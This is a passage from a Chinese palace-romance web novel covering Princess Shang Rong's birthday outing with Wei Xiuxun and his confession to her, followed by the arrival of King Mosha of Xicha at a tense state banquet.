李宣望向尚容的目光满是慈祥，因岁月而显得有些松弛的皮肤随着笑意挤出几处褶皱：“看看……容儿可还喜欢？”
尚容知晓这些糕点的背后祖母定然费了不少心血，心头一酸，眼眶微微泛红：“喜欢……容儿很喜欢。”
李宣又从衣袖中取出一只用金线编制而成的香囊递到尚容手中：“这里面是哀家前几个月到昭元寺替你求的平安符，哀家别无他求，只求容儿能一生平安。”
尚容强忍着平复心绪，嫣然一笑：“多谢祖母，容儿会的。”
李宣抬眸见尚容披上了一件云白羽缎披风，迟疑道：“容儿，你今日要出宫？”
尚容微微颔首：“是。”
“去梅兰轩照看生意？”
尚容知晓祖母不是外人，不必瞒着，但也不知如何开口，便道：“容儿今日去见一个人。”
李宣微愣，随即唇边浮现出几分心领神会的笑意。想来尚容自幼在她膝下长大，何处对她有过秘密？眼下看尚容说这话时的模样，倒真可见几分小女儿情态，顿时心中有数。
“哀家的容儿长大了，也有自己的秘密了。”李宣笑着揶揄道，“快去吧，别误了时辰。”
声声入耳，尚容脸颊微微泛红，对着李宣欠身行礼，随即转身离去。
除夕前日的雀云街格外喧嚷，来往行人步伐轻快，空气里弥漫着一种愉快的气氛。
从前这一日尚容都是在琼华宫度过的，今年倒是格外特别。尚容环顾四周，望见不远处的云桥上熟悉的背影。
他似乎也察觉到她的存在，转过身来对上她的目光，微微勾唇。
尚容见魏修洵着一身石青销金暗纹锦袍，外披一件莲青纹玄色鹤氅，长身玉立，笑意疏朗。
分明不是跳脱衬人的颜色，但她的目光却从始至终落在他的身上不曾移开。或许从那日离别相送的红衣起她便该知晓，他惯会蛊惑人心。
“久等了。”
魏修洵眉眼轻扬，似是毫不在意：“殿下来得正好，是我到早了些。”
“前段时间陛下下达了一道旨意，允许女子参加此次春闱，想必是殿下的提议？”
尚容不予置否。
魏修洵微微侧身，与尚容四目相对，薄唇轻抿：“殿下能为天下女子着想自然是好事，只是这背后动了太多人的利益，殿下千万要小心。”
尚容虽然不曾亲眼见过官场浮沉，却也在红墙的一方砖瓦下窥得几分人性。她自然知晓背后凶险，但纵然是万丈深渊，拼死迈过之后便能见得月明之日。
“殿下可是已有了成算？”魏修洵见尚容默不作声，道。
尚容缓缓抬眸，怅然一笑：“不曾，或许不过水来土掩，随机应变罢了。说起来你今日怎会想到约我来此？”
“殿下成日呆在琼华宫不见人影，听闻雀云街最近有集市很是热闹，今日就当带殿下散散心。”魏修洵嘴角微噙，眼神意味深长。
二人说着便往前走去，尚容见不远处的确摊贩遍布，相比平日里是京都多了些许烟火气，倒也别有一番趣味。
尚容与魏修洵行至一家首饰摊，尚容无意间瞥到摊上角落处摆放的一对红豆手串，微微出神。
商贩眼睛尖，见尚容如此情态便笑着迎了上来：“这位女娘好眼力，这红豆啊又称相思子，传递相思便是极妙，我看二位郎才女貌，不如买上一对得同心之意可好？”
声声入耳，尚容的心思被揭开一时面上有些挂不住，便刻意咳嗽了几声正欲解释，却见魏修洵浅笑着拂起衣袖，手腕上垂着一只红豆手串，上面也刻了四字，显然和信笺里的那只是一对。
“多谢老板好意，只是前几日我已亲手做了一只手串送给她，再买也是闲置无用。”
魏修洵勾了勾唇，随即从钱袋里取出两颗碎银递到商贩手中：“明日便是除夕，就当给老板的新年礼了。”
商贩原本见到魏修洵手上的手串已知买卖不成泄了气，眼下却是受宠若惊，拱手喜笑颜开：“公子大气，也祝您二位过个好年，永结同心。”
尚容原以为魏修洵要解释清楚，却不成想竟像是默认。她长舒了一口气，抬眸恰好撞上魏修洵令人捉摸不透的目光。
“我听韶淳说殿下最爱吃雀云街西侧苏记的薄荷夹糕，
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今日正好路过便带些回去吧。”魏修洵眉眼轻扬，不染而朱的唇边含着几分浓得化不开的笑意。
尚容微微颔首，下一秒手腕便被握住，魏修洵回眸一笑，随即加快了步伐。
纵然除夕前日许多平日拖家带口来京都做生意的人都已归家，苏记糕点的门口依旧排着长龙，魏修洵便让尚容在一旁的茶摊暂歇，自己转身向人群走去。
翠桃望着苏记门口的长龙忍不住道：“这么长的队伍排到少说也要半柱香，侯爷为了讨殿下欢心还真舍得花心思。”
尚容转身往魏修洵所站的地方望去，见魏修洵斜斜站着，此时也侧过身来望着自己，唇角轻勾。
不知为何，尚容感觉一种说不清道不明的情绪涌上心头，并不断蔓延。
可惜天公不作美，没过多久黑云压境，急雨陡落，苏记外无处避雨。由于翠桃外出时只带了一把油纸伞，尚容便撑伞往排队的长龙走去。
“落雨了，这薄荷夹糕我改日再叫翠桃来买吧。”
尚容见魏修洵脸颊两侧的发丝已被雨水浸湿，说着便将油纸伞向魏修洵微微倾斜，扶着伞柄的手却被握住。
她能感觉到，他虎口处轻轻使了力，油纸伞便全然将她遮住，而他的大半个身子都落入雨中。
“既然都答应了殿下，我今日自是要买到。”魏修洵眉心微挑，玩味一笑，“再说这急雨来得快，停得也快，说不定等我们回去雨都停了。”
尚容见他顿了一顿，侧过身来与她对视继续揶揄道：“我当年在边关行军的时候也多是这种急雨，那时就连一件斗笠都没有，不也这么过来了？我不是女儿家，可没有殿下想的那么娇弱。”
尚容听罢忍不住勾了勾唇。此时由于落雨，不少人放弃排队转身回家，转眼魏修洵就站在了最前面，没多久便提着两盒薄荷夹糕走到尚容身前。
果真如魏修洵所料，此时急雨过去，只剩下淅淅沥沥的小雨，不远处的天际隐隐浮现一道彩虹。
尚容见他一手提着一盒薄荷夹糕，无力顾及其他，便从衣袖中取出一方素帕替他擦去额前的雨水。
“接下来去哪儿？”
魏修洵望着尚容，眼底笑意浓重：“殿下跟着我便是。”
尚容本以为魏修洵又会带自己去酒肆茶坊之类的，却不成想迈入了一间清幽的小院。小院的牌匾上写着未见山三字，依旧出自魏修洵的手笔，倒是格外别致。
“这是……”尚容微微抬眸。
“这是我的一处私宅，虽比不上皇宫侯府，却格外清幽，只是我平日里也并不常来。”
“倒是个好地方。”尚容颔首，余光瞥见一旁的鱼池，神色有些惊异，缓缓开口，“你喜欢养鱼？”
魏修洵嘴角微噙，似笑非笑：“原本是想着无事的时候钓鱼打发时间，不过若是殿下……也可作罢。”
尚容被逗笑了，一时有些摸不着头脑：“为何？”
“因为……愿者上钩。”魏修洵勾了勾唇。
37. 定心意
尚容对上魏修洵意味深长的目光，一时有些出神。
“殿下先在一旁的屋中休息片刻，我眼下有些事，一会便来。”魏修洵眉眼轻扬，转身离去。
翠桃方才听得一头雾水，此事将金丝手炉递到尚容手中，微微皱眉忍不住道：“殿下，侯爷今日说话怎的没头没尾的？后面几句奴婢听了半天愣是一句都没听懂。”
尚容见翠桃一脸囧样忍不住发笑，揉了揉她红扑扑的小脸，望着魏修洵离去的方向勾了勾唇：“他今日，怕是别有用心，意不在鱼。”
尚容见戏鱼池旁亭中的小桌上放了几袋鱼食，便伸手拿了一些轻撒在水面上。
特质的鱼食浮在水面上并不下沉，很快几尾色泽鲜亮的鱼儿便争相抢食，水面顿时泛起圈圈涟漪，久久不散。
外头风大，尚容便在一旁的屋中安坐休息，不成想一直到将近黄昏依旧不见魏修洵人影。尚容对此处并不熟悉，便也不外出随意走动，便拿了一块苏记的薄荷夹糕解馋。
就在此时，有人推门而入。尚容抬眸，见不是别人，正是魏修洵。
只见魏修洵推着一辆圆木小车，外袍的长袖利落挽起，露出紧实的小臂，棱角分明的下颚和素色的袖口染上了些许灰尘，显得有些狼狈，与素日里风流贵气的模样判若两人。
“你这是……”
尚容的目光落在那辆圆木小车上，上面摆满了各式各样的菜肴，有百花酿鸭脯，蜜汁茄鲞，荷包里脊，锦绣虾球，如意素卷，翠玉豆腐，还有一大碗冒着热气的素面。
菜肴的模样色泽虽比不上宫中御膳房，却看得出是花足心思的。更难能可贵的是，这些菜都是尚容平日里爱吃的。
魏修洵小心地将菜肴端上桌面，声线相比往日的低沉清润不少，似徐徐春风落入尚容耳中。
“今日是殿下生辰，我既然请殿下来此作客，自然也要尽尽地主之谊。”
魏修洵勾唇浅笑，眼眸深处映着面前少女的模样：“这些菜都是韶淳说殿下平日爱吃的，我便私下问了御厨，若有不到位之处还请殿下多多包涵。”
自从母后崩世后，尚容孤身一人，除了祖母和翠桃之外，再没有人记得她的生辰，今日若非祖母提起，就连她自己都要忘记了这个日子。
也正因如此，她望着眼前魏修洵为她精心制作的一桌菜肴，竟一时有些不知所措。
重活一世，她的心变冷了，变硬了，早已装不上这世上的许多东西，也不屑求别人的记挂，只想孤身闯出一条血路。
可他却不请自来，一步步走到她的身前，与她同生死共患难，甚至给她一处可以不设防地流露自己心绪的地方。
尚容缓缓抬眸，羽睫微动：“你……什么时候开始准备的？”
魏修洵双手抱拳，故作沉思，看似随口一答：“半个月前……或许更久，我也记不清了。”
魏修洵见尚容默不作声故作，自嘲一笑：“毕竟都是御厨做的菜，殿下也得给我一些准备时间吧。”
声声入耳，尚容心中却莫名涌起一阵暖流，心绪难平。
“先用晚膳吧，冬日天气冷菜凉了可就不好吃了。”魏修洵轻笑。
尚容思绪回笼，微微颔首，随即夹了一块百花酿鸭脯含入口中，鸭脯经过烟熏香气扑鼻，颇有一番风味，辅以一层薄薄的百花酱，更添几分酸甜，升华了肉香，使得鸭脯醇厚却不油腻。
魏修洵微微勾唇，眼神里满是期待：“如何？”
“着实不错。”
“那便好，今日是殿下的生辰，面也是要吃的。”魏修洵盛了一小碗素面递到尚容手中，却似想起了什么微微蹙眉，快步而去，“殿下等我片刻，我去去就来。”
没过多久，尚容便见魏修洵端着一盘成条切好的色泽金黄的蛋皮向自己走来。尚容的目光落在那碗蛋皮上，心头一酸，眼眶微微泛红。
她犹记得母后在世时，每逢生辰总会为她煮上一碗素面，又因她觉得素面寡淡无味，母后便会为她配上她喜欢的蛋皮，如此滋味便正好。
她不曾想到，他竟会在意这些，想必定然是问了宫中侍奉的老人。
尚容夹了几条切好的蛋皮铺在素面上，轻轻搅拌，随即将一筷素面拌着蛋皮一道放入口中。
她强忍着低下头，视线逐渐有些模糊，原本正好的熟悉滋味今日落入她的口中却有些咸中带涩。
魏修洵递来一块素帕，尚容接过拭干眼角的泪痕，声音夹杂着些许哽咽：“谢谢……你有心了……”
“殿下不必谢我，只要殿下喜欢，以后每年生辰我都为殿下做这碗面，可好？”
魏修洵俯身，桃花眼深处寒意褪去，只留下几分炙热的缱绻，却再也隐藏不住。
翠桃察言观色，顿时心中明了，转身退下，屋中便只剩下尚容与魏修洵二人。
尚容呼吸微滞，缓缓抬眸对上魏修洵的目光，心中顿时涌起一股说不清的柔软。
每年生辰……纵然是世间再可靠的盟友也难以做到。他的言下之意已然不言而喻。
“我知殿下从前处境艰难，再多的委屈也只能咬碎咽下，但今后我不想殿下再孤身一人。”
魏修洵直视尚容眼睛，字字句句恍若誓言。
尚容见魏修洵俯身逼近，二人之间的空气仿佛被抽离，尚容抚在桌面上的右手微微攥紧，呼吸渐促。
此时他已离她极近，近得足以令她感受到他的呼吸和萦绕在他长袖间的甘松香气。
她微微仰着头，见他薄唇微启，声音有些沙哑却似浸润着几分柔情。
“殿下……可愿意？”
尚容长吸了一口气，微微移开目光迫使自己不会情不自禁全然沉溺于他的眼眸，释然一笑：“好啊，从前孤身一人的可不止我一个。”
魏修洵勾了勾唇，含着秋水的眼眸深处映着面前少女的模样，刻意压低了音量：“殿下说得不错，我从前也是孤身一人，孤家寡人……”
不知为何，尚容顿时觉得这屋中的炭火烧得有些过旺，她额间竟沁出几分汗珠。她故作镇定地擦拭，却还是被那双墨色翻涌的眸子夺去了目光。
男人的眼尾潋滟着几分薄红，他低下头来望着她，眉眼间已是染了几缕说不清的情愫，相比平日格外勾人，好似摄人心魄的妖孽，倒是她从未见
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过的模样。
尚容下意识地低下头，却不成想呼吸越来越快，心绪也几近失控。
下一刻，她的额间落了一个极轻的吻，他微微沙哑的声音回荡在她的耳畔。
“殿下不必如此紧张……日子还长，以后的路我会与殿下一起走。”
尚容见他嘴角轻勾，眼底笑意浓重。
就在此时，屋外传来一阵细碎的声响，屋门从外面被推开。
“魏修洵，你好久没……”
尚容侧身见是一名素未谋面的年轻男人，年岁与魏修洵相当，面容清秀，一身乌金锦袍也压不住骨子里生意人特有的圆滑。
年轻男人此时的目光落在距离近得有些暧昧的二人身上，顿时身体僵硬，不曾迈出半步。待他思绪回笼，直直对上魏修洵晦暗不明的眼眸，后背一阵发凉。
“要不我……”他见状转身欲走，却听得身后传来熟悉的声音。
“丰诚，既然来了就坐下吧，我看你最近倒是格外空闲。”
尚容方才刻意掩饰用了些面食，此时声声入耳被呛到连连咳嗽了几声，脸颊顿时好似点了胭脂，雪色里透着几分似醉非醉的红晕。
“殿下无事吧？”魏修洵将一杯倒好的玉露递到尚容手中。
“无事。”尚容摇了摇头，目光随即落在一旁被唤丰诚的年轻男人身上，缓缓开口，“这位是……”
方才一直不敢开口的丰诚见状连忙上前鞠了一躬：“草民丰诚见过长公主殿下。”
“平身吧。”尚容抿唇一笑。
“谢殿下。”丰诚长舒了一口气。
“丰诚是我早年就认识的好友，之前一直在边关做生意，想必是这几日才回到京都。”魏修洵望着尚容薄唇微启。
“对对对，我昨日才从边关回来，无处落脚，便在一旁的屋子里住了一晚。”丰诚略显局促地笑了笑，很快便适应了开始侃侃而谈，“方才闻见这屋里传来香气便跟过来了，没想到殿下也在。”
尚容微微颔首：“这些菜吃不完也是浪费，既然来了便一道用晚膳吧。”
丰诚眼睛顿时亮了，也不顾方才吓出的一身冷汗，连忙道：“好啊好啊，殿下盛情相邀我就恭敬不如从命了。”
“这次怎的回来也不说一声？”魏修洵从圆木小车上拿出一副崭新的碗筷递到丰诚面前，道。
“你是不知道我回来一趟日夜兼程有多累……我昨日是粘床就睡，一觉睡到现在。”丰诚拍了拍魏修洵的肩膀，说着不好意思地笑了笑。
“生意怎么样？”
“生意不错，再也不用过以前的苦日子了！”丰诚笑道，“老样子，我分了大半给边关的兄弟们，那里条件差，他们挺不容易的。老郑他们总是和我念叨你，我说你一切都好。”
魏修洵嘴角微噙，颔首道：“辛苦了。”
尚容见丰诚对这突如其来的客套似乎有些不适应，起了一阵鸡皮疙瘩。他本欲揶揄却似想起了什么，眸色渐沉。
“怎么了？”魏修洵也意识到有些不对劲。
“有一件事我得告诉你，我在边关的时候听闻西察王不日要来京都。”
38. 危机显
“你是说西察王默沙？”
丰诚见魏修洵的眼眸陡然暗了下去，眼底情绪不明，他却不明所以，只道：“对啊，如今除了那个默沙还有哪个西察王？”
魏修洵一时怔住，余光瞥见尚容附在裙摆上的右手微微攥紧，生生将上好的布料蹂｜躏出几道不容忽视的褶皱。
尚容清亮的眸子顿时变得格外压抑，似在极力按捺住内心的情绪。
魏修洵的脑海中顿时回想起她在望原山上对自己说的一番话，此时字字句句如刀刃在他心头划上道道伤口，刻骨铭心。
这一次不是梦境，他知一旦行差踏错便再无回旋余地，无论如何他都要护她周全。
或许是饥肠辘辘到了极点，丰诚早已顾不上二人的反应，埋头便动筷子，还不时随口夸赞：“不得不说你的厨艺还真是突飞猛进，都快比得上御厨了！”
可魏修洵此时却心不在此，只道：“你可知默沙此次来京都有何目的？”
“目的……咳咳咳！”丰诚的嘴巴里塞满了食物，此时开口被呛到连连咳嗽连忙喝了一口水顺气，“估计是趁着这次岁旦前来朝贡吧。”
朝贡……魏修洵低眉沉思，眸色如黑曜石般深沉。
魏修洵犹记得如今的这位西察王默沙本是西察众多王子中并不起眼的一位，四年前西察声称旧王病重而亡，默沙就此继任王位。然则民间早有传言，默沙此人性情狠辣，弑父杀弟才夺得王位。
早年西察国力衰弱，老西察王臣服大靖，每年便会来京都向大靖朝贡，两国自此交好，边境太平。
但这位新王却与其父行事手段截然不同，除了继任王位当年，已有三年不曾亲自朝贡，只派使臣前来，当朝陛下问起便以各种理由搪塞了事。朝堂之上，但凡明眼人都能看出来这位新王的心思，两国局势日趋紧张。
若是放在从前，当朝陛下必然不会将这小小西察放在心上，只是近几年来，西察国力日益强盛，兵力充沛，反倒是大靖乏人可用，国库盈亏。也正因如此，默沙才敢有恃无恐。
如此看来，这次朝贡怕也是别有用心。
尚容也知自己方才有些失态，此时长舒了一口气将一杯倒好的玉露送到唇边。
但美酒入喉，却丝毫没有改变她的心绪。在她前世的记忆里，默沙确实也曾在那年岁旦期间前往京都，只是当时她心不在此，不曾过多留意，如今倒是发人深省。
此时丰诚已是吃了个十二分饱，他满足地搁下碗筷抬眸却见二人神色出乎意料的凝重，似乎心事重重。
“殿下……修洵你们别吓我啊……”丰诚轻抚魏修洵的肩膀，顿时打定主意起身，“你们莫不是中邪了我去找人……”
话音未落，丰诚感觉到自己反被一只手死死压住肩膀，他双腿发软重新坐回了座位上。
“你赶路辛苦了，这几日便在未见山好好休息。天色不早了，我送殿下回宫。”魏修洵眉头微展，起身道。
恰好尚容也真有此意，便起身跟着魏修洵出了屋子。
二人在马车上入座，魏修洵缓缓开口：“默沙已有三年不亲临朝贡，此次前来怕是别有用心，届时的国宴殿下还是设法推辞为妙。”
尚容摇了摇头，眉心微蹙：“我若是怕会引人生疑，更何况也恐怕也改变不了结局。我会小心，你不必担心我。”
魏修洵知晓她拿定了主意，薄唇轻抿：“既如此，我会传信边关的弟兄，让他们秘密观察默沙的行踪。”
“好。”
三日后，宫中便收到了西察王默沙即将前往京都向永嘉帝朝贡的消息，永嘉帝随即下令在西察王抵达京都那一日举办国宴招待远道而来的贵客。
九日后，西察王抵达京都。
金銮殿上，永嘉帝身着金线绣九龙的玄衣冕服，头戴九旒冠，微微泛灰的发丝梳理得一丝不乱，低眉间流露出统治者的威仪与高贵。
殿下，满朝文武列队而立，皆一言不发，殿中气氛顿时有些压抑。
魏修洵亦身着朝服立于殿下，桃花眼一改平日里的风流恣意，倒含着几分令人捉摸不透的老成。
此时殿外传来一阵声响。
“西察王到！”
尚徽缓缓开口：“宣！”
话音未落，魏修洵微微侧身，众人的目光都往殿门口望去，单披一件云豹披风，赤裸着双臂的壮年男人逐渐映入众人的眼帘。
默沙抬头望着高坐在龙椅之上俯视众生的永嘉帝微微勾唇，如鹰隼般深邃的眼眸间露出一丝近似戏谑的笑意。他步步走到殿下，拱手行礼：“默沙参见大靖陛下！陛下万岁万岁万万岁！”
“西察王不必多礼，平身。”
尚徽右手轻挥，笑容温和却又不失威严，低沉的声音在殿中回荡。
“谢陛下。”默沙抬首嘴角微噙，双手交叉附在胸前，“西察与大靖素来交好，今年西察向大靖陛下进贡大宛马八百匹，象牙弓八十箱，高丽参五十箱，以及各类奇珍异宝三十箱，还请陛下笑纳！”
尚徽浅笑颔首：“西察王的心意朕便收下了，两国交好已有十数年，期间两国百姓安居乐业亦是朕与西察王共同的心愿。今日西察王来京都朕特意命人设了国宴，晚些时候不醉不归！”
“多谢陛下！”
琼华宫。
“此时可是到了退朝的时辰？”
尚容正安坐在梳妆台前，着一身湖蓝金丝流苏锦绣华裳，外披一件牡丹云肩，墨色长发半盘半散，发间插着那支凤凰六珠嵌丝金步摇，尽显雍容华贵。
“想来是了。”翠桃应道，“方才奴婢听闻这次西察王并非一人前来，西察王的妹妹云罗公主也来了京都。”
“默云？”尚容微微扬眉，似是有些惊讶。
翠桃见尚容神色有异，忍不住道：“莫非殿下认得这位云罗公主？”
尚容微微出神，眉心微蹙。
何止认得……她犹记得前世朝贡之后默云意欲在京都游玩便
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暂留京都，几个月后在京都涉险丧命，西察王大怒派人从西察送来一封急信。
永嘉帝收到急信后日夜难眠，第三日便下旨送她到西察和亲，意欲借此平西察之怒，续两国之好，只是默沙雷霆手段，永徽帝的盘算很快便落了空，她也因此殒命西察。
前世她尚且来不及细想，如今想来默云的死着实有些蹊跷。在此之前西察与大靖之间虽有些许裂痕，但远远不到决裂的程度，而默云的死便如同一个导火索，将两国的关系放到了火上炙烤。
他国公主在京都的安危之重这一点，尚徽不会不知，况且若说是大靖的人设局谋杀难免不合常理，那便还有一种可能。
默沙丧心病狂，以亲妹性命设局，用以满足自己对至高无上权利的欲望。想到此处，尚容眉头紧锁，握着胭脂的右手微微攥紧。
“殿下？”翠桃察觉尚容额间沁出几颗汗珠，手持素帕替其擦拭，轻声唤道。
这一声呼唤令尚容思绪回笼，她长吸了一口气，迫使自己冷静下来。她心知这些也只是她的猜测，若此次默云依旧选择留下，她便要势必保护她的安全，不能让有心之人再做文章。
尚容抬眸浅笑，朱唇微启：“本宫久居京都，自是亲眼没有见过这位云罗公主，只是曾听人提起过便知晓一些罢了。”
翠桃颔首：“说来也是，这位云罗公主也是第一次来京都，殿下怎么可能见过她呢！”
此时韶淳端来几道菜肴，都是御膳房精心准备的午膳，也都是些尚容平日里中意的滋味。只是今日，尚容夹了几块菜食送到唇边细细咀嚼，却只觉如同嚼蜡，尝不出几分滋味。
此次国宴永嘉帝宴请西察来使与满朝文武百官，皇亲国戚也无不出席，实乃盛宴难再。
尚容一早便到了，选了殿下最近的座位安坐。尚容的右侧分别是二公主尚音和三公主尚华，二人没过多久也都落了座。
说来自从如秀一事后，尚音对她的态度有些转变，也安分了不少，至少不再如从前一般想方设法地给她使绊。
想来还真是如她所料，这世间果真没有永远的敌人，也没有永远的朋友，不过是看利益立场罢了。
尚容自嘲一笑，却隐隐觉得有人注视着她。她微微抬眸，便对上一双熟悉的眼眸。
虽是国宴，相比早朝却依旧要随意不少。魏修洵此时未着官服，墨发以玄银冠高束，只着一件绛紫暗纹滚边窄袖长袍，明艳俊美之余却又不失沉稳。
魏修洵见尚容目光掠过，嘴角微噙，垂首饮了一杯琼浆，眸间情绪顿时被隐去。
“陛下到！西察王到！”
众人皆起身：“参见陛下！恭迎西察王！”
尚徽着一身明黄五爪龙袍，谈吐之间气度尽显：“众爱卿平身！今日有贵客远道而来，诸位尽兴，不醉不归！”
“谢陛下！”
尚容抬眸，身体不自觉微微紧绷，余光却嵌在一旁光着膀子的壮年男人身上，眸色渐深。
39. 遇仇敌
就在此时，默沙亦转过身来目光与尚容相接。
他见面前少女肌肤胜雪，姿态雍容，华丽的衣着丝毫没有压去她本身的颜色，反而衬得她更为明艳动人。
默沙扪心自问见过不少美艳女子，但与面前人比起来终究还是逊色了几分。他勾了勾唇，如鹰隼般深邃的眼眸深处晦暗不明。
尚容强忍住胃中翻江倒海淡淡一笑，余光便落在了默沙身后的默云身上。
默云年方十六，正值妙龄，着一身红白相交毛领束腰长裙，披落在腰间的长发编了几个繁复的细辫，一双湿漉漉的杏眼明亮清透，格外讨人欢喜。
“王兄，这里好漂亮啊，我可以随便玩吗？”默云抬头望着这座金碧辉煌的宫殿，摇了摇默沙的小臂，两眼放光。
“自然。”
“太好了！”默云笑得开怀，言罢便找了个空位入座。她低头倒了一杯琼浆，细闻其味，杯酒下肚，似是还嫌不够，干脆拎着酒壶就喝了个干净。
这一切都被坐在龙椅之上的尚徽收入眼底。他轻拂衣袖，扬唇一笑：“云罗公主果然天真烂漫，讨人欢喜。”
默云随即抬眸，有些不知所措。
“默云平日里没规矩惯了，大靖陛下见笑了。”默沙双手交叉行礼道。
“无妨，朕瞧着倒是个讨人喜欢的。正好朕的几个女儿也与默云年纪相仿，若是默云闲来无事，也可与她们作伴。”
“那便多谢陛下。”默沙道。
尚徽一声令下，国宴开始，乐音响起，尚容见十几个身着云裳的舞娘踩着鼓点踮着脚尖快步走到殿中央献舞，个个身材纤细，动作轻柔，勾人心魄。
殿下不少文武百官都被舞曲与美人吸引，只是尚容素来不喜这些，便取了盛好的百味羹用了几勺，抬眸却对上默沙打量的目光。
尚容恍若未见微微侧目，见魏修洵手持杯盏，眸色如黑曜石般深沉，压迫感尽显。
尚容只觉气氛凝重，起身欲离开片刻，却听得背后响起一阵低沉沙哑的男声。
“殿下，本王素闻大靖长公主殿下天姿国色，今日一见果然惊为天人，不知可否在今日这个大好时候请殿下舞上一曲？”
话音未落，殿内觥筹交错的声响渐歇，众人面面相觑，窃窃私语。
尚徽似是也没想到默沙会提出如此请求，面色微冷。自开国以来素来没有千金之躯献舞的说法，默沙此言无疑是打了大靖皇室的脸面，但如今两国关系紧张，他若是不应，想必对方又会借此做文章，实是令他陷入了两难之境。
尚容也深知默沙此举令尚徽进退两难，转身走到殿前浅笑道：“本宫不擅舞，献舞一事恐怕要令西察王失望了，不过本宫今日新学了一首琴曲，愿弹奏献给父皇与今日在场的诸位，祝两国百年交好，两国百姓安居乐业。”
“好！容儿既有此心，便奏上一曲吧。”尚徽眉头微展，笑道。
尚容微微侧身：“翠桃，替本宫去宫中取那把伏羲琴来。”
“奴婢这就去。”
尚徽见默沙脸色阴郁，默声不语，薄唇轻抿：“宫中乐坊有舞娘无数，若西察王喜看舞朕便让她们再舞上一曲。”
就在此时，尚容却见魏修洵走了出来。
“陛下，臣倒有一主意。”
“哦？爱卿但说无妨。”尚徽的目光落在魏修洵身上，眉心微挑。
“臣素闻西察王平日喜看舞剑，眼下既有长公主殿下弹曲，臣愿舞剑一首以圆王上遗憾。”魏修洵微微侧身，薄唇轻勾。
尚徽微微颔首：“这倒也是个好主意，不知西察王意下如何？”
默沙唇边露出一抹不屑的笑意：“既如此，本王听凭大靖陛下的安排。”
尚徽肩膀微微舒展，轻拍桌面：“好！那届时便让晋安侯随琴声舞上一剑助兴！”
魏修洵眼尾微微上扬，唇边漾开几分似有若无的笑意：“臣遵旨。”
魏修洵挺身而出倒是出乎尚容的预料，她微微出神，翠桃很快便将那把金丝楠木云纹伏羲琴递到她手中。
尚容定了定神，随即抱着伏羲琴走到桌前稳稳放好，双手抚在琴弦上，指尖微微轻勾，琴音便似珠玉倾泻而出。
琴音潺潺如流水怡人心神，魏修洵一手背于身后，单手持长剑应声而起，一退一进，招式如行云流水令人应接不暇，长剑于空中划出一道道流畅的弧线。
此时琴音逐渐变得铿锵有力，节奏越来越快，魏修洵的剑招逐渐转柔为刚，干脆利落，不带一丝拖泥带水，好似沙场上浴血奋战的杀将之招。
尚容微微抬眸，见魏修洵陡然转身，眉眼一凛，长剑直指默沙而去，默沙顿时眼神流露出一丝惊讶，但待寒光一现魏修洵便又在空中旋身，方才攻势不见。
琴音顿挫，逐渐变得凄苦苍凉，令人恍若置身于漫天黄沙，尽显白骨征战，有家不能回的悲壮。魏修洵的攻势随之凌厉，脚下步伐逐渐飘忽，恍若拼死支撑着摇摇欲坠的身体，却不言降。
尚容双手抚琴，琴音渐弱，再见花明，仿佛征战的少年郎待归家之时已然垂垂老矣，却见家国仍在，百姓和乐而欣慰一笑。
“好啊好啊！容儿你的琴艺实乃大有长进，晋安侯配合得也是极妙，只是此曲朕倒未曾听过，是出自何谱？”尚徽手持杯盏，俯视殿下，开怀一笑。
“回父皇，此曲名曰将催沙，出自一本民间编纂的琴谱，写的是少年行军入伍征战沙场，黑发去白发归的故事。”
尚容微微抬眸，浅浅一笑：“容儿想真是因为大靖与西察两国交好，才免去了不少妻离子散，白发人送黑发人的悲剧，容儿便借此曲祝愿两国百年交好，天下战乱不起。”
“好！”尚徽举起杯盏，言语之间威仪尽显，“既如此，朕邀西察王共饮一杯。”
默沙缓缓起身将杯中琼浆一饮而尽，眼神晦暗不明：“敬陛下。”
宴席过半，尚容正欲起身出去散散心，听得背后传来一阵清脆甜美的女声。
“容儿姐姐，你们这儿还有酒吗？”
尚容闻声转身，见来着正是默云。她微微仰着头，水灵灵的眼睛忽闪忽闪，倒是令尚容心头一软。
“宴上怕是没有了，御膳房一旁的酒坊里倒是还有不少，你若真想喝的话我带你去。”
声声入耳，默
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云眼眸泛光，点头如小鸡啄米，一手抱住尚容的小臂：“容儿姐姐你真好。”
尚容浅笑，朱唇微启：“走吧。”
穿过数不清的回廊，二人才行至御膳房旁的酒坊，尚容与门口守卫吩咐了一番后，翠桃便从酒坊中拿出了两坛美酒。
“容儿姐姐，你们这儿的皇宫好大好漂亮啊，我感觉如果我一个人走的话肯定找不到回去的路。”默云环顾四周，忍不住嘀咕，“不像在西察，我只能和那些牛儿马儿作伴。”
若是放在从前，尚容定会安慰默云一番，但今日她遇见默沙之后便忍不住回想起那段不美好的回忆，还有那个她前世拼死也没有逃出的如牢笼一般的地方，便也没有气力接话了。
尚容微微低眉，似是想起了什么，缓缓开口：“不过今日我看你王兄倒是很护着你。”
提及默沙，默云双手叉腰，一脸骄傲：“那是自然，我王兄可疼我了，这次还答应让我在京都多留些时日呢！这下我就可以天天找你玩啦！”
尚容神色不显：“那你王兄呢？”
默云不自觉地撅了撅嘴：“王兄说他诸事繁忙，西察还有许多事等着他处理，大概过几日便会回西察了，不过王兄给我留了几个暗卫，说是要保护我的安全。”
尚容眉心微蹙，若有所思，“那我到时候多派几个人手保护你的安全。”
“多谢容儿姐姐。”默云抿唇一笑，“不过我武功也不差，姐姐你放心好了。”
“好。”
默云言罢抬头笑眯眯地打量了尚容一番，嘴角不自觉地微微上扬：“不过容儿姐姐，我觉得王兄今日对你格外上心，你们先前见过？”
尚容微怔，随即掩去了眼底的情绪，只笑道：“不曾。”
“这样啊……”默云长舒了一口气，“反正我觉得今日王兄有些怪怪的，或许是我想多了吧。”
就在此时，韶淳快步而来：“殿下，宴席结束了。”
尚容微微颔首，侧身望着默云：“既如此，我送你回去吧。”
“好。”
尚容送默云回养乐殿的路上，正好迎面遇上向外走去的尚徽和默沙，尚徽抬首见到尚容与默云冲着默沙勾唇一笑。
“看吧，朕就说让你别着急，有容儿在，你的王妹断然不会在宫中迷路。”
默沙微微颔首，随即对默云道：“怎么一声不吭就走了？”
默云见默沙脸色有些不对，笑着撒娇：“忘了嘛，王兄我不是没事吗？”
“下不为例。”
默沙回首双手交叉行礼，声音低沉：“既如此，陛下留步。”
“嗯。”尚徽微微颔首。
默沙转身，余光却在一旁的少女身上掠过，眼神阴沉。
尚容望着二人离开的背影，存自然垂落在衣裙上的右手微微攥紧。
“容儿你今日也累了，早点休息，朕回养心殿了。”
尚容欠身行礼：“恭送父皇。”
待尚徽的身影逐渐消失在夜幕之中，尚容长舒了一口气，转身欲走，却听得身后传来一阵细碎的脚步声。
